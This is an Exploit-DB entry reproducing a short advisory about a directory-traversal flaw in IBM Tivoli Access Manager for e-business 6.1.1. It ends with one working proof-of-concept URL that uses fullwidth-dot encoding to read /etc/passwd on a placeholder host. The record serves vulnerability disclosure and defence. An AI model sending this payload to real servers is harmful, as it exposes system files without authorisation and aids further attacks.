IBM Tivoli Access Manager 6.1.1 for E-Business - Directory Traversal

EDB-ID:

35148

CVE:

N/A


Author:

anonymous

Type:

remote


Platform:

Linux

Date:

2010-12-24


source: https://www.securityfocus.com/bid/45582/info

IBM Tivoli Access Manager for e-business is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue will allow an attacker to view arbitrary local files within the context of the webserver. Information harvested may aid in launching further attacks.

IBM Tivoli Access Manager for e-business 6.1.1 is vulnerable. 

http://www.example.com/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/etc/passwd